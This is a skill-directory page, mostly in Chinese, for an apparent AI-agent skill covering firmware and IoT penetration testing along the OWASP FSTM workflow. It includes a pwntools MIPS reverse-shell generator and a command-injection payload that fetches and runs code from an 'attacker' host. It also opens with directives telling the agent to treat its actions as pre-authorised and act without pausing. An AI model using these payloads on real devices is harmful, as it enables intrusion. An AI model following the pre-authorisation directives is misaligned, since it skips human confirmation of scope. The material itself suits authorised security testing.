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firmware-pentest

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¿Qué es firmware-pentest?

firmware-pentest is a Claude Code agent skill that |.

Compatible conClaude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/firmware-pentest

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Documentación

固件 / IoT 渗透链 (Firmware Pentest)

ACTION REQUIRED(读完后立刻执行)

  1. NOW: 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作
  2. NOW: 确认当前任务是否命中本 skill 的适用范围
  3. NEXT: 读取 ../tool-index.md,校验工具可用性和实际路径
  4. NEXT: 缺工具时调用 bootstrap,不要猜路径
  5. ACT: 进入"工作流"第一步并执行,不要停在确认状态

适用范围

下列任务进入本 skill:

  1. 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
  2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
  3. 加密/打包固件,需要找 bootloader 解密例程或硬件 dump
  4. 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT)
  5. 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz)
  6. 硬件接口接入(UART / JTAG / SPI flash dump)

与其他 skill 分工

场景用什么
从零拿到固件,全链路走 FSTM本 skill
只做单个 ELF/so 静态逆向reverse-engineering/ida-reverse/radare2/
仿真起来后做 Web/RCE 利用pentest-tools/attack-chain/
硬件接口(UART/JTAG/SPI)实操本 skill 的 Stage 2 章节 + patterns-hardware.md
APK / Android 固件(含 boot.img)apk-reverse/(先剥 boot.img 再用本 skill)
跨版本固件符号迁移binary-diff/

核心原理

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断:

  • 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
  • EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
  • 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、/dev/ 节点缺失
  • ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统(Extracting Filesystem)

详见 references/extraction-methodology.md

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 references/emba-automated-analysis.md

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行(Emulating Firmware)

详见 references/emulation-and-fuzz.md

# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin

Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)

Step 2 获取固件
  - 官网下载 .bin,sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95(正常压缩)

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
  - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1,Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

场景 2:加密固件(找 bootloader 解密例程)

固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill(IDA / Ghidra)
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC,key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

注意事项

  • 大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
  • NVRAM:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
  • EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
  • AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
  • 真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
  • 法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
  • field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用

按需自举(On-Demand Bootstrap)

工具清单

工具用途自动安装
binwalk v3主提取(Rust 重写版)
binwalk v2兼容老插件
unblob兜底提取
jeffersonJFFS2 提取
ubi_readerUBI / UBIFS 提取
EMBA自动化分析框架
Firmadyne全系统仿真
FAT (Firmware Analysis Toolkit)Firmadyne 封装
qemu-user-static用户态仿真
qemu-system-*全系统仿真
AFL++模糊测试
pwntools漏洞利用脚本
flashromSPI flash 读写
picocomUART 串口

安装命令

# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3(Rust 版)
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows 用户

固件渗透链强依赖 Linux 工具,建议:

  • WSL2 Ubuntu 22.04(足够大多数场景)
  • 或独立 Kali / Ubuntu 虚拟机
  • EMBA 必须 Linux,Firmadyne / FAT 必须 Linux

路由上下文

上游入口: skills/SKILL.md(总控)、routing.md 触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口:

  • 单个二进制深度静态分析 → reverse-engineering/ida-reverse/radare2/
  • 仿真起来后做 Web RCE / 后渗透 → pentest-tools/attack-chain/
  • 跨版本固件符号迁移 → binary-diff/
  • 硬件接口实操参考 → patterns-hardware.md
  • APK / boot.img 处理 → apk-reverse/

同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)

参考文档:

  • references/extraction-methodology.md — 提取细节与失败兜底
  • references/emba-automated-analysis.md — EMBA 全流程
  • references/emulation-and-fuzz.md — 仿真 + fuzz 实战

任务完成自检(声称完成前 MUST 通过)

  • 我是否执行了工作流中的每一步(而不是只阅读)?
  • 我是否基于 tool-index 使用了真实工具路径?
  • 我是否产出了可复现证据(命令/脚本/截图/报告)?
  • 我是否完成并回写了 RULES 要求的 Checklist 项?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

attack-chain

Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill.

binary-diff

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binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

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browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

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dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

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email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

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